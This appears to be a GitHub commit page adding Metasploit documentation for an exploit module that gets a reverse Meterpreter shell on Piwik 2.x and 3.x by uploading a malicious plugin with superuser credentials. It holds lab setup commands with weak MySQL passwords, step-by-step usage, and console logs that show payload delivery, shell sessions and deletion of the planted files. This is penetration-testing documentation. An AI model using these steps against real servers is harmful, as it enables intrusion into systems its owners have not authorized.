Skip to content

Commit 843f559

Browse files
h00dieh00die
committed
land rapid7#7917 piwik exploit module
2 parents 0856711 + d7f6755 commit 843f559

File tree

2 files changed

+591
-0
lines changed

2 files changed

+591
-0
lines changed

‎documentation/modules/exploit/unix/webapp/piwik_superuser_plugin_upload.md

Lines changed: 226 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,226 @@
1+
## Vulnerable Application
2+
3+
Piwik can be downloaded from the official site [piwik.org](https://piwik.org).
4+
Older builds are also available from [builds.piwik.org](https://builds.piwik.org/).
5+
6+
This module was tested with Piwik versions 2.14.0, 2.16.0, 2.17.1 and 3.0.1
7+
8+
## Verification Steps
9+
10+
### Install Piwik (Debian/Ubuntu)
11+
1. Install dependencies
12+
13+
```
14+
sudo apt install apache2 php5 php5-mysql \
15+
libapache2-mod-php5 mariadb-server unzip php5-gd php5-curl
16+
```
17+
2. Download latest version of piwik (or the version of your choice from [builds.piwik.org](https://builds.piwik.org/))
18+
19+
```
20+
wget https://builds.piwik.org/piwik.zip
21+
```
22+
23+
3. Unzip Piwik into webroot
24+
25+
```
26+
unzip -d /var/www/html/ piwik.zip
27+
```
28+
29+
4. Make the webserver user the owner of piwik
30+
31+
```
32+
chown -R www-data:www-data /var/www/html/
33+
```
34+
35+
5. Create a new user and database for piwik. If you want to run multiple versions in parallel use a different database for each install (user is optional).
36+
This example assumes your MySQL root password is **password**
37+
38+
```
39+
mysql -u root -ppassword -e "CREATE DATABASE piwik;"
40+
mysql -u root -ppassword -e "CREATE USER piwik@localhost;"
41+
mysql -u root -ppassword -e "SET PASSWORD FOR piwik@localhost=PASSWORD('piwik');"
42+
mysql -u root -ppassword -e "GRANT ALL PRIVILEGES ON piwik.* TO piwik@localhost;"
43+
mysql -u root -ppassword -e "FLUSH PRIVILEGES;"
44+
```
45+
46+
6. Add a config setting to PHP to stop piwik complaining about it
47+
48+
```
49+
echo always_populate_raw_post_data=-1 > /etc/php5/apache2/conf.d/99-piwik.ini
50+
```
51+
52+
7. Finally restart Apache HTTPD
53+
54+
```
55+
service apache2 restart
56+
```
57+
58+
### Pwn Piwik
59+
1. Install the application (see installation steps above)
60+
2. Start msfconsole
61+
3. Do: ```use [module path]```
62+
4. Do: ```set RHOST [Domain/IP]```
63+
5. Do: ```set RPORT [Port]```
64+
6. Do: ```set TARGETURI [installation directory]```
65+
7. Do: ```set SSL [True/False]```
66+
8. Do: ```set USERNAME [valid Piwik superuser credentials]```
67+
9. Do: ```set PASSWORD [valid Piwik superuser credentials]```
68+
10. Do: ```run```
69+
11. You should get a shell.
70+
71+
## Options
72+
73+
**TARGETURI**
74+
75+
Path of the Piwik installation.
76+
77+
**USERNAME**
78+
79+
Valid username for a Piwik superuser account.
80+
81+
**PASSWORD**
82+
83+
Valid password for a Piwik superuser account.
84+
85+
## Scenarios
86+
87+
### Run with a installation of Piwik 3.0.1
88+
89+
```
90+
msf > use exploit/unix/webapp/piwik_superuser_plugin_upload
91+
msf exploit(piwik_superuser_plugin_upload) > set TARGETURI /piwik/
92+
TARGETURI => /piwik/
93+
msf exploit(piwik_superuser_plugin_upload) > set RHOST 192.168.56.2
94+
RHOST => 192.168.56.2
95+
msf exploit(piwik_superuser_plugin_upload) > set username firefart
96+
username => firefart
97+
msf exploit(piwik_superuser_plugin_upload) > set password firefart
98+
password => firefart
99+
msf exploit(piwik_superuser_plugin_upload) > options
100+
101+
Module options (exploit/unix/webapp/piwik_superuser_plugin_upload):
102+
103+
Name Current Setting Required Description
104+
---- --------------- -------- -----------
105+
PASSWORD firefart yes The Piwik password to authenticate with
106+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
107+
RHOST 192.168.56.2 yes The target address
108+
RPORT 80 yes The target port (TCP)
109+
SSL false no Negotiate SSL/TLS for outgoing connections
110+
TARGETURI /piwik/ yes The URI path of the Piwik installation
111+
USERNAME firefart yes The Piwik username to authenticate with
112+
VHOST no HTTP server virtual host
113+
114+
115+
Exploit target:
116+
117+
Id Name
118+
-- ----
119+
0 Piwik
120+
121+
msf exploit(piwik_superuser_plugin_upload) > run
122+
123+
[*] Started reverse TCP handler on 192.168.56.1:4444
124+
[*] Trying to detect if target is running a supported version of piwik
125+
[+] Detected Piwik installation
126+
[*] Authenticating with Piwik using firefart:firefart...
127+
[+] Authenticated with Piwik
128+
[*] Checking if user firefart has superuser access
129+
[+] User firefart has superuser access
130+
[*] Trying to get Piwik version
131+
[+] Detected Piwik version 3.0.1
132+
[*] Checking if Marketplace plugin is active
133+
[+] Seems like the Marketplace plugin is already enabled
134+
[*] Generating plugin
135+
[+] Plugin SDsiXxPMgt generated
136+
[*] Uploading plugin
137+
[*] Activating plugin and triggering payload
138+
[*] Sending stage (33986 bytes) to 192.168.56.2
139+
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.2:43169) at 2017-02-13 23:03:29 +0100
140+
[+] Deleted plugins/SDsiXxPMgt/plugin.json
141+
[+] Deleted plugins/SDsiXxPMgt/SDsiXxPMgt.php
142+
143+
meterpreter > sysinfo
144+
Computer : web
145+
OS : Linux web 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1 (2016-12-30) x86_64
146+
Meterpreter : php/linux
147+
```
148+
149+
### Run against Piwik 2.x
150+
151+
```
152+
msf exploit(piwik_superuser_plugin_upload) > run
153+
154+
[*] Started reverse TCP handler on 192.168.56.1:4444
155+
[*] Trying to detect if target is running a supported version of piwik
156+
[+] Detected Piwik installation
157+
[*] Authenticating with Piwik using firefart:firefart...
158+
[+] Authenticated with Piwik
159+
[*] Checking if user firefart has superuser access
160+
[+] User firefart has superuser access
161+
[*] Trying to get Piwik version
162+
[+] Detected Piwik version 2.14.0
163+
[*] Generating plugin
164+
[+] Plugin zZETuwYkzB generated
165+
[*] Uploading plugin
166+
[*] Activating plugin and triggering payload
167+
[*] Sending stage (33986 bytes) to 192.168.56.2
168+
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.2:43182) at 2017-02-13 23:05:27 +0100
169+
[+] Deleted plugins/zZETuwYkzB/plugin.json
170+
[+] Deleted plugins/zZETuwYkzB/zZETuwYkzB.php
171+
```
172+
173+
### Sample output of running with invalid credentials
174+
175+
```
176+
msf exploit(piwik_superuser_plugin_upload) > run
177+
178+
[*] Started reverse TCP handler on 192.168.56.1:4444
179+
[*] Trying to detect if target is running a supported version of piwik
180+
[+] Detected Piwik installation
181+
[*] Authenticating with Piwik using firefart:test...
182+
[-] Exploit aborted due to failure: no-access: Failed to authenticate with Piwik
183+
[*] Exploit completed, but no session was created.
184+
```
185+
186+
### Sample output of running with non superuser user
187+
188+
```
189+
msf exploit(piwik_superuser_plugin_upload) > run
190+
191+
[*] Started reverse TCP handler on 192.168.56.1:4444
192+
[*] Trying to detect if target is running a supported version of piwik
193+
[+] Detected Piwik installation
194+
[*] Authenticating with Piwik using test:firefart...
195+
[+] Authenticated with Piwik
196+
[*] Checking if user test has superuser access
197+
[-] Exploit aborted due to failure: no-access: Looks like user test has no superuser access
198+
[*] Exploit completed, but no session was created.
199+
```
200+
201+
### Sample output of Piwik 3.x with disabled Marketplace plugin
202+
203+
```
204+
msf exploit(piwik_superuser_plugin_upload) > run
205+
206+
[*] Started reverse TCP handler on 192.168.56.1:4444
207+
[*] Trying to detect if target is running a supported version of piwik
208+
[+] Detected Piwik installation
209+
[*] Authenticating with Piwik using firefart:firefart...
210+
[+] Authenticated with Piwik
211+
[*] Checking if user firefart has superuser access
212+
[+] User firefart has superuser access
213+
[*] Trying to get Piwik version
214+
[+] Detected Piwik version 3.0.1
215+
[*] Checking if Marketplace plugin is active
216+
[*] Marketplace plugin is not enabled, trying to enable it
217+
[+] Marketplace plugin enabled
218+
[*] Generating plugin
219+
[+] Plugin TuwgJygjEu generated
220+
[*] Uploading plugin
221+
[*] Activating plugin and triggering payload
222+
[*] Sending stage (33986 bytes) to 192.168.56.2
223+
[*] Meterpreter session 3 opened (192.168.56.1:4444 -> 192.168.56.2:43246) at 2017-02-13 23:08:36 +0100
224+
[+] Deleted plugins/TuwgJygjEu/plugin.json
225+
[+] Deleted plugins/TuwgJygjEu/TuwgJygjEu.php
226+
```

0 commit comments

Comments
 (0)